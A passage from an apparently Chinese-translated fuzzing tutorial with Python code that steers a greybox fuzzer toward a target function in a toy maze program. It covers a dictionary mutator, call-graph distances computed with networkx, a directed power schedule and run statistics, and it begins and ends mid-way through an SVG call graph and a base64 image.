id="edge86"><title>callgraphX__tile_2_3->callgraphX__print_maze</title></g> <g class="edge" id="edge87"><title>callgraphX__tile_2_3->callgraphX__tile_1_3</title></g> <g class="edge" id="edge88"><title>callgraphX__tile_2_3->callgraphX__tile_2_2</title></g> <g class="edge" id="edge89"><title>callgraphX__tile_2_3->callgraphX__tile_2_3</title></g> <g class="edge" id="edge85"><title>callgraphX__tile_2_3->callgraphX__tile_2_4</title></g> <g class="edge" id="edge90"><title>callgraphX__tile_2_3->callgraphX__tile_3_3</title></g> <g class="edge" id="edge92"><title>callgraphX__tile_2_4->callgraphX__print_maze</title></g> <g class="edge" id="edge95"><title>callgraphX__tile_2_4->callgraphX__tile_1_4</title></g> <g class="edge" id="edge96"><title>callgraphX__tile_2_4->callgraphX__tile_2_3</title></g> <g class="edge" id="edge91"><title>callgraphX__tile_2_4->callgraphX__tile_2_4</title></g> <g class="edge" id="edge94"><title>callgraphX__tile_2_4->callgraphX__tile_2_5</title></g> <g class="edge" id="edge93"><title>callgraphX__tile_2_4->callgraphX__tile_3_4</title></g> <g class="edge" id="edge98"><title>callgraphX__tile_2_5->callgraphX__print_maze</title></g> <g class="edge" id="edge102"><title>callgraphX__tile_2_5->callgraphX__tile_1_5</title></g> <g class="edge" id="edge97"><title>callgraphX__tile_2_5->callgraphX__tile_2_4</title></g> <g class="edge" id="edge99"><title>callgraphX__tile_2_5->callgraphX__tile_2_5</title></g> <g class="edge" id="edge100"><title>callgraphX__tile_2_5->callgraphX__tile_2_6</title></g> <g class="edge" id="edge101"><title>callgraphX__tile_2_5->callgraphX__tile_3_5</title></g> <g class="edge" id="edge105"><title>callgraphX__tile_2_6->callgraphX__print_maze</title></g> <g class="edge" id="edge104"><title>callgraphX__tile_2_6->callgraphX__tile_1_6</title></g> <g class="edge" id="edge106"><title>callgraphX__tile_2_6->callgraphX__tile_2_5</title></g> <g class="edge" id="edge107"><title>callgraphX__tile_2_6->callgraphX__tile_2_6</title></g> <g class="edge" id="edge103"><title>callgraphX__tile_2_6->callgraphX__tile_2_7</title></g> <g class="edge" id="edge108"><title>callgraphX__tile_2_6->callgraphX__tile_3_6</title></g> <g class="edge" id="edge110"><title>callgraphX__tile_2_7->callgraphX__print_maze</title></g> <g class="edge" id="edge113"><title>callgraphX__tile_2_7->callgraphX__tile_1_7</title></g> <g class="edge" id="edge114"><title>callgraphX__tile_2_7->callgraphX__tile_2_6</title></g> <g class="edge" id="edge109"><title>callgraphX__tile_2_7->callgraphX__tile_2_7</title></g> <g class="edge" id="edge112"><title>callgraphX__tile_2_7->callgraphX__tile_2_8</title></g> <g class="edge" id="edge111"><title>callgraphX__tile_2_7->callgraphX__tile_3_7</title></g> <g class="edge" id="edge115"><title>callgraphX__tile_2_8->callgraphX__print_maze</title></g> <g class="edge" id="edge116"><title>callgraphX__tile_3_0->callgraphX__print_maze</title></g> <g class="edge" id="edge120"><title>callgraphX__tile_3_1->callgraphX__print_maze</title></g> <g class="edge" id="edge119"><title>callgraphX__tile_3_1->callgraphX__tile_2_1</title></g> <g class="edge" id="edge122"><title>callgraphX__tile_3_1->callgraphX__tile_3_0</title></g> <g class="edge" id="edge118"><title>callgraphX__tile_3_1->callgraphX__tile_3_1</title></g> <g class="edge" id="edge121"><title>callgraphX__tile_3_1->callgraphX__tile_3_2</title></g> <g class="edge" id="edge117"><title>callgraphX__tile_3_1->callgraphX__tile_4_1</title></g> <g class="edge" id="edge123"><title>callgraphX__tile_3_2->callgraphX__print_maze</title></g> <g class="edge" id="edge124"><title>callgraphX__tile_3_3->callgraphX__print_maze</title></g> <g class="edge" id="edge128"><title>callgraphX__tile_3_3->callgraphX__tile_2_3</title></g> <g class="edge" id="edge126"><title>callgraphX__tile_3_3->callgraphX__tile_3_2</title></g> <g class="edge" id="edge129"><title>callgraphX__tile_3_3->callgraphX__tile_3_3</title></g> <g class="edge" id="edge125"><title>callgraphX__tile_3_3->callgraphX__tile_3_4</title></g> <g class="edge" id="edge127"><title>callgraphX__tile_3_3->callgraphX__tile_4_3</title></g> <g class="edge" id="edge130"><title>callgraphX__tile_3_4->callgraphX__print_maze</title></g> <g class="edge" id="edge131"><title>callgraphX__tile_3_5->callgraphX__print_maze</title></g> <g class="edge" id="edge132"><title>callgraphX__tile_3_6->callgraphX__print_maze</title></g> <g class="edge" id="edge134"><title>callgraphX__tile_3_7->callgraphX__print_maze</title></g> <g class="edge" id="edge133"><title>callgraphX__tile_3_7->callgraphX__tile_2_7</title></g> <g class="edge" id="edge138"><title>callgraphX__tile_3_7->callgraphX__tile_3_6</title></g> <g class="edge" id="edge135"><title>callgraphX__tile_3_7->callgraphX__tile_3_7</title></g> <g class="edge" id="edge136"><title>callgraphX__tile_3_7->callgraphX__tile_3_8</title></g> <g class="edge" id="edge137"><title>callgraphX__tile_3_7->callgraphX__tile_4_7</title></g> <g class="edge" id="edge139"><title>callgraphX__tile_3_8->callgraphX__print_maze</title></g> <g class="edge" id="edge140"><title>callgraphX__tile_4_0->callgraphX__print_maze</title></g> <g class="edge" id="edge144"><title>callgraphX__tile_4_1->callgraphX__print_maze</title></g> <g class="edge" id="edge143"><title>callgraphX__tile_4_1->callgraphX__tile_3_1</title></g> <g class="edge" id="edge146"><title>callgraphX__tile_4_1->callgraphX__tile_4_0</title></g> <g class="edge" id="edge142"><title>callgraphX__tile_4_1->callgraphX__tile_4_1</title></g> <g class="edge" id="edge145"><title>callgraphX__tile_4_1->callgraphX__tile_4_2</title></g> <g class="edge" id="edge141"><title>callgraphX__tile_4_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge147"><title>callgraphX__tile_4_2->callgraphX__print_maze</title></g> <g class="edge" id="edge148"><title>callgraphX__tile_4_3->callgraphX__print_maze</title></g> <g class="edge" id="edge153"><title>callgraphX__tile_4_3->callgraphX__tile_3_3</title></g> <g class="edge" id="edge150"><title>callgraphX__tile_4_3->callgraphX__tile_4_2</title></g> <g class="edge" id="edge151"><title>callgraphX__tile_4_3->callgraphX__tile_4_3</title></g> <g class="edge" id="edge152"><title>callgraphX__tile_4_3->callgraphX__tile_4_4</title></g> <g class="edge" id="edge149"><title>callgraphX__tile_4_3->callgraphX__tile_5_3</title></g> <g class="edge" id="edge155"><title>callgraphX__tile_4_4->callgraphX__print_maze</title></g> <g class="edge" id="edge157"><title>callgraphX__tile_4_4->callgraphX__tile_3_4</title></g> <g class="edge" id="edge158"><title>callgraphX__tile_4_4->callgraphX__tile_4_3</title></g> <g class="edge" id="edge159"><title>callgraphX__tile_4_4->callgraphX__tile_4_4</title></g> <g class="edge" id="edge156"><title>callgraphX__tile_4_4->callgraphX__tile_4_5</title></g> <g class="edge" id="edge154"><title>callgraphX__tile_4_4->callgraphX__tile_5_4</title></g> <g class="edge" id="edge161"><title>callgraphX__tile_4_5->callgraphX__print_maze</title></g> <g class="edge" id="edge164"><title>callgraphX__tile_4_5->callgraphX__tile_3_5</title></g> <g class="edge" id="edge165"><title>callgraphX__tile_4_5->callgraphX__tile_4_4</title></g> <g class="edge" id="edge160"><title>callgraphX__tile_4_5->callgraphX__tile_4_5</title></g> <g class="edge" id="edge163"><title>callgraphX__tile_4_5->callgraphX__tile_4_6</title></g> <g class="edge" id="edge162"><title>callgraphX__tile_4_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge166"><title>callgraphX__tile_4_6->callgraphX__print_maze</title></g> <g class="edge" id="edge167"><title>callgraphX__tile_4_7->callgraphX__print_maze</title></g> <g class="edge" id="edge168"><title>callgraphX__tile_4_7->callgraphX__tile_3_7</title></g> <g class="edge" id="edge170"><title>callgraphX__tile_4_7->callgraphX__tile_4_6</title></g> <g class="edge" id="edge171"><title>callgraphX__tile_4_7->callgraphX__tile_4_7</title></g> <g class="edge" id="edge169"><title>callgraphX__tile_4_7->callgraphX__tile_4_8</title></g> <g class="edge" id="edge172"><title>callgraphX__tile_4_7->callgraphX__tile_5_7</title></g> <g class="edge" id="edge173"><title>callgraphX__tile_4_8->callgraphX__print_maze</title></g> <g class="edge" id="edge174"><title>callgraphX__tile_5_0->callgraphX__print_maze</title></g> <g class="edge" id="edge177"><title>callgraphX__tile_5_1->callgraphX__print_maze</title></g> <g class="edge" id="edge176"><title>callgraphX__tile_5_1->callgraphX__tile_4_1</title></g> <g class="edge" id="edge179"><title>callgraphX__tile_5_1->callgraphX__tile_5_0</title></g> <g class="edge" id="edge175"><title>callgraphX__tile_5_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge178"><title>callgraphX__tile_5_1->callgraphX__tile_5_2</title></g> <g class="edge" id="edge180"><title>callgraphX__tile_5_1->callgraphX__tile_6_1</title></g> <g class="edge" id="edge181"><title>callgraphX__tile_5_2->callgraphX__print_maze</title></g> <g class="edge" id="edge182"><title>callgraphX__tile_5_3->callgraphX__print_maze</title></g> <g class="edge" id="edge183"><title>callgraphX__tile_5_4->callgraphX__print_maze</title></g> <g class="edge" id="edge186"><title>callgraphX__tile_5_5->callgraphX__print_maze</title></g> <g class="edge" id="edge185"><title>callgraphX__tile_5_5->callgraphX__tile_4_5</title></g> <g class="edge" id="edge184"><title>callgraphX__tile_5_5->callgraphX__tile_5_4</title></g> <g class="edge" id="edge187"><title>callgraphX__tile_5_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge188"><title>callgraphX__tile_5_5->callgraphX__tile_5_6</title></g> <g class="edge" id="edge189"><title>callgraphX__tile_5_5->callgraphX__tile_6_5</title></g> <g class="edge" id="edge190"><title>callgraphX__tile_5_6->callgraphX__print_maze</title></g> <g class="edge" id="edge191"><title>callgraphX__tile_5_7->callgraphX__print_maze</title></g> <g class="edge" id="edge195"><title>callgraphX__tile_5_7->callgraphX__tile_4_7</title></g> <g class="edge" id="edge194"><title>callgraphX__tile_5_7->callgraphX__tile_5_6</title></g> <g class="edge" id="edge196"><title>callgraphX__tile_5_7->callgraphX__tile_5_7</title></g> <g class="edge" id="edge192"><title>callgraphX__tile_5_7->callgraphX__tile_5_8</title></g> <g class="edge" id="edge193"><title>callgraphX__tile_5_7->callgraphX__tile_6_7</title></g> <g class="edge" id="edge197"><title>callgraphX__tile_5_8->callgraphX__print_maze</title></g> <g class="edge" id="edge198"><title>callgraphX__tile_6_0->callgraphX__print_maze</title></g> <g class="edge" id="edge201"><title>callgraphX__tile_6_1->callgraphX__print_maze</title></g> <g class="edge" id="edge199"><title>callgraphX__tile_6_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge202"><title>callgraphX__tile_6_1->callgraphX__tile_6_0</title></g> <g class="edge" id="edge203"><title>callgraphX__tile_6_1->callgraphX__tile_6_1</title></g> <g class="edge" id="edge204"><title>callgraphX__tile_6_1->callgraphX__tile_6_2</title></g> <g class="edge" id="edge200"><title>callgraphX__tile_6_1->callgraphX__tile_7_1</title></g> <g class="edge" id="edge205"><title>callgraphX__tile_6_2->callgraphX__print_maze</title></g> <g class="edge" id="edge206"><title>callgraphX__tile_6_2->callgraphX__tile_5_2</title></g> <g class="edge" id="edge209"><title>callgraphX__tile_6_2->callgraphX__tile_6_1</title></g> <g class="edge" id="edge210"><title>callgraphX__tile_6_2->callgraphX__tile_6_2</title></g> <g class="edge" id="edge207"><title>callgraphX__tile_6_2->callgraphX__tile_6_3</title></g> <g class="edge" id="edge208"><title>callgraphX__tile_6_2->callgraphX__tile_7_2</title></g> <g class="edge" id="edge211"><title>callgraphX__tile_6_3->callgraphX__print_maze</title></g> <g class="edge" id="edge212"><title>callgraphX__tile_6_3->callgraphX__tile_5_3</title></g> <g class="edge" id="edge216"><title>callgraphX__tile_6_3->callgraphX__tile_6_2</title></g> <g class="edge" id="edge213"><title>callgraphX__tile_6_3->callgraphX__tile_6_3</title></g> <g class="edge" id="edge214"><title>callgraphX__tile_6_3->callgraphX__tile_6_4</title></g> <g class="edge" id="edge215"><title>callgraphX__tile_6_3->callgraphX__tile_7_3</title></g> <g class="edge" id="edge219"><title>callgraphX__tile_6_4->callgraphX__print_maze</title></g> <g class="edge" id="edge217"><title>callgraphX__tile_6_4->callgraphX__tile_5_4</title></g> <g class="edge" id="edge220"><title>callgraphX__tile_6_4->callgraphX__tile_6_3</title></g> <g class="edge" id="edge221"><title>callgraphX__tile_6_4->callgraphX__tile_6_4</title></g> <g class="edge" id="edge222"><title>callgraphX__tile_6_4->callgraphX__tile_6_5</title></g> <g class="edge" id="edge218"><title>callgraphX__tile_6_4->callgraphX__tile_7_4</title></g> <g class="edge" id="edge223"><title>callgraphX__tile_6_5->callgraphX__print_maze</title></g> <g class="edge" id="edge226"><title>callgraphX__tile_6_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge227"><title>callgraphX__tile_6_5->callgraphX__tile_6_4</title></g> <g class="edge" id="edge228"><title>callgraphX__tile_6_5->callgraphX__tile_6_5</title></g> <g class="edge" id="edge225"><title>callgraphX__tile_6_5->callgraphX__tile_6_6</title></g> <g class="edge" id="edge224"><title>callgraphX__tile_6_5->callgraphX__tile_7_5</title></g> <g class="edge" id="edge229"><title>callgraphX__tile_6_6->callgraphX__print_maze</title></g> <g class="edge" id="edge230"><title>callgraphX__tile_6_7->callgraphX__print_maze</title></g> <g class="edge" id="edge231"><title>callgraphX__tile_6_8->callgraphX__print_maze</title></g> <g class="edge" id="edge232"><title>callgraphX__tile_7_0->callgraphX__print_maze</title></g> <g class="edge" id="edge233"><title>callgraphX__tile_7_1->callgraphX__print_maze</title></g> <g class="edge" id="edge234"><title>callgraphX__tile_7_2->callgraphX__print_maze</title></g> <g class="edge" id="edge235"><title>callgraphX__tile_7_3->callgraphX__print_maze</title></g> <g class="edge" id="edge236"><title>callgraphX__tile_7_4->callgraphX__print_maze</title></g> <g class="edge" id="edge237"><title>callgraphX__tile_7_5->callgraphX__print_maze</title></g> <g class="edge" id="edge238"><title>callgraphX__tile_7_6->callgraphX__print_maze</title></g> <g class="edge" id="edge239"><title>callgraphX__tile_7_7->callgraphX__print_maze</title></g> <g class="edge" id="edge240"><title>callgraphX__tile_7_8->callgraphX__print_maze</title></g></g></svg>
+
+### 第一次尝试
+
+我们引入了`DictMutator`类，该类通过插入给定字典中的关键字来使字符串发生变异：
+
+```py
+class DictMutator(Mutator):
+    def __init__(self, dictionary):
+        super().__init__()
+        self.dictionary = dictionary
+        self.mutators.append(self.insert_from_dictionary)
+
+    def insert_from_dictionary(self, s):
+        """Returns s with a keyword from the dictionary inserted"""
+        pos = random.randint(0, len(s))
+        random_keyword = random.choice(self.dictionary)
+        return s[:pos] + random_keyword + s[pos:]
+
+```
+
+为了模糊迷宫，我们扩展了`DictMutator`类，以将字典关键字附加到种子的末尾并从种子的末尾删除字符。
+
+```py
+class MazeMutator(DictMutator):
+    def __init__(self, dictionary):
+        super().__init__(dictionary)
+        self.mutators.append(self.delete_last_character)
+        self.mutators.append(self.append_from_dictionary)
+
+    def append_from_dictionary(self,s):
+        """Returns s with a keyword from the dictionary appended"""
+        random_keyword = random.choice(self.dictionary)
+        return s + random_keyword
+
+    def delete_last_character(self,s):
+        """Returns s without the last character"""
+        if (len(s) > 0):
+            return s[:-1]
+
+```
+
+让我们尝试一个标准的灰盒模糊器，它具有经典的功率计划和扩展的迷宫突变器（n = 10k）。
+
+```py
+n = 10000
+seed_input = " " # empty seed
+
+maze_mutator = MazeMutator(["L","R","U","D"])
+maze_schedule = PowerSchedule()
+maze_fuzzer  = GreyboxFuzzer([seed_input], maze_mutator, maze_schedule)
+
+start = time.time()
+maze_fuzzer.runs(FunctionCoverageRunner(maze), trials=n)
+end = time.time()
+
+"It took the fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer 10.89 seconds to generate and execute 10000 inputs.'
+
+```
+
+我们将需要打印一些模糊器的统计信息。 我们为什么不为此定义一个函数？
+
+```py
+def print_stats(fuzzer):
+    total = len(fuzzer.population)
+    solved = 0
+    invalid = 0
+    valid = 0
+    for seed in fuzzer.population:
+        s = maze(str(seed.data))
+        if "INVALID" in s: invalid += 1
+        elif "VALID" in s: valid += 1
+        elif "SOLVED" in s: 
+            solved += 1
+            if solved == 1: 
+                print("First solution: %s" % repr(seed))
+        else: print("??")
+
+    print("""Out of %d seeds, 
+* %4d solved the maze, 
+* %4d were valid but did not solve the maze, and 
+* %4d were invalid""" % (total, solved, valid, invalid))   
+
+```
+
+我们的老式灰箱模糊测试器的性能如何？
+
+```py
+print_stats(maze_fuzzer)
+
+```
+
+```py
+Out of 844 seeds, 
+*    0 solved the maze, 
+*  204 were valid but did not solve the maze, and 
+*  640 were invalid
+
+```
+
+它可能一次都无法解决迷宫问题。 我们如何使模糊测试者知道种子离目标有多远？ 如果我们知道这一点，就可以为该种子分配更多的能量。
+
+***试试*** 。 使用`AFLFastSchedule`和`CountingGreyboxFuzzer`打印增强型模糊器的统计信息。 它的性能可能比未增强的灰箱模糊器要好得多：最低概率路径也​​恰好是到达目标的路径。 您可以通过以Jupyter笔记本打开本章来执行自己的代码。
+
+### 计算功能级距离
+
+使用迷宫代码和目标函数的静态调用图，我们可以计算每个函数$ f $到目标$ t $的距离，作为$ f $和$ t $之间的最短路径的长度。
+
+幸运的是，生成的迷宫代码包含一个名为`target_tile`的函数，该函数返回目标函数的名称。
+
+```py
+target = target_tile()
+target
+
+```
+
+```py
+'tile_6_7'
+
+```
+
+现在，我们需要在调用图中找到相应的函数。 函数`get_callgraph`将迷宫代码的调用图作为[网络x](https://networkx.github.io/) 图返回。 Networkx为图形分析提供了一些有用的功能。
+
+```py
+import [networkx](https://docs.python.org/3/library/networkx.html) as [nx](https://docs.python.org/3/library/nx.html)
+from [ControlFlow](ControlFlow.html) import get_callgraph
+
+```
+
+```py
+cg = get_callgraph(maze_code)
+for node in cg.nodes():
+    if target in node:
+        target_node = node
+        break
+target_node
+
+```
+
+```py
+'callgraphX__tile_6_7'
+
+```
+
+现在，我们可以生成函数级距离。 字典`distance`包含每个功能到目标功能的距离。 如果没有到目标的路径，我们指定最大距离（`0xFFFF`）。
+
+函数`nx.shortest_path_length(CG, node, target_node)`返回调用图`CG`中从函数`node`到函数`target_node`的最短路径的长度。
+
+```py
+distance = {}
+for node in cg.nodes():
+    if "__" in node: 
+        name = node.split("__")[-1]
+    else: 
+        name = node
+    try:
+        distance[name] = nx.shortest_path_length(cg, node, target_node)
+    except:
+        distance[name] = 0xFFFF
+
+```
+
+这些是目标功能路径上所有图块功能的距离值。
+
+```py
+{k: distance[k] for k in list(distance) if distance[k] < 0xFFFF}
+
+```
+
+```py
+{'callgraphX': 1,
+ 'tile_2_1': 22,
+ 'maze': 23,
+ 'tile_6_3': 16,
+ 'tile_6_4': 15,
+ 'tile_2_3': 8,
+ 'tile_6_5': 14,
+ 'tile_5_1': 19,
+ 'tile_2_4': 7,
+ 'tile_3_7': 3,
+ 'tile_2_5': 6,
+ 'tile_6_7': 0,
+ 'tile_2_6': 5,
+ 'tile_2_7': 4,
+ 'tile_4_1': 20,
+ 'tile_5_5': 13,
+ 'tile_4_3': 10,
+ 'tile_4_4': 11,
+ 'tile_5_7': 1,
+ 'tile_3_1': 21,
+ 'tile_4_5': 12,
+ 'tile_6_2': 17,
+ 'tile_4_7': 2,
+ 'tile_6_1': 18,
+ 'tile_3_3': 9}
+
+```
+
+***摘要*** 。 使用静态调用图和目标函数$ t $，我们演示了如何计算每个函数$ f $到目标$ t $的函数级距离。
+
+***尝试*** 。 您可以通过以Jupyter笔记本打开本章来尝试执行自己的代码。
+
+*   如果有多个目标，我们如何计算距离？ （提示：[几何平均值](https://en.wikipedia.org/wiki/Geometric_mean)）。
+*   给定每个函数$ f $的调用图（CG）和控制流图（CFG $ _f $），我们如何计算基本块（BB）级距离？ （提示：在CFG $ _f $中，测量到目标函数路径上函数的*调用*的BB级距离。请记住，功能级距离较高的函数中BB级距离较高， 太。）
+
+***读取*** 。 如果您对搜索的其他方面感兴趣，可以通过阅读[基于搜索的模糊化](SearchBasedFuzzer.html)一章进行跟进。 如果您有兴趣，如何解决以上问题，可以查看我们的论文“ [定向灰盒模糊化](https://mboehme.github.io/paper/CCS17.pdf)”。
+
+### 定向功率表
+
+现在我们知道了如何计算功能级别的距离，让我们尝试实现一个功率调度，该功率调度将*的更多能量分配给目标函数的平均距离*较低的种子。 注意，距离值都是*预先计算的*。 这些值被注入到程序二进制文件中，就像coverage工具一样。 实际上，这使得平均距离*的计算极为有效*。
+
+如果您真的想知道。 给定调用图中$ CG $中函数$ s $到函数$ t $的函数级距离$ d_f（s，t）$，我们的有向功率调度将计算以下项的种子距离$ d（i，t）$ 种子$ i $以$ t $作为$ d（i，t）= \ sum_ {s \ in CG} \ dfrac {d_f（s，t）} {| CG |} $的功能，其中$ | CG | $是 调用图中$ CG $中的节点数。
+
+```py
+class DirectedSchedule(PowerSchedule):
+    def __init__(self, distance, exponent):
+        self.distance = distance
+        self.exponent = exponent
+
+    def __getFunctions__(self, coverage):
+        functions = set()
+        for f, _ in set(coverage):
+            functions.add(f)
+        return functions
+
+    def assignEnergy(self, population):
+        """Assigns each seed energy inversely proportional
+ to the average function-level distance to target."""
+        for seed in population:
+            if not hasattr(seed, 'distance'):
+                num_dist = 0
+                sum_dist = 0
+                for f in self.__getFunctions__(seed.coverage):
+                    if f in list(distance):
+                        sum_dist += distance[f]
+                        num_dist += 1
+                seed.distance = sum_dist / num_dist
+                seed.energy = (1 / seed.distance) ** self.exponent
+
+```
+
+让我们看看有针对性的时间表如何针对旧的灰盒模糊测试器执行。
+
+```py
+directed_schedule = DirectedSchedule(distance, 3)
+directed_fuzzer  = GreyboxFuzzer([seed_input], maze_mutator, directed_schedule)
+
+start = time.time()
+directed_fuzzer.runs(FunctionCoverageRunner(maze), trials=n)
+end = time.time()
+
+"It took the fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer 14.61 seconds to generate and execute 10000 inputs.'
+
+```
+
+```py
+print_stats(directed_fuzzer)
+
+```
+
+```py
+Out of 1441 seeds, 
+*    0 solved the maze, 
+*  542 were valid but did not solve the maze, and 
+*  899 were invalid
+
+```
+
+它可能也不能解决单个迷宫问题，但是我们有更多有效的解决方案。 因此，肯定有进步。
+
+让我们看一下每个种子的距离值。
+
+```py
+y = [seed.distance for seed in directed_fuzzer.population]
+x = range(len(y))
+plt.scatter(x, y)
+plt.ylim(0,max(y))
+plt.xlabel("Seed ID")
+plt.ylabel("Distance");
+
+```
+
+![](data:image/png;base64,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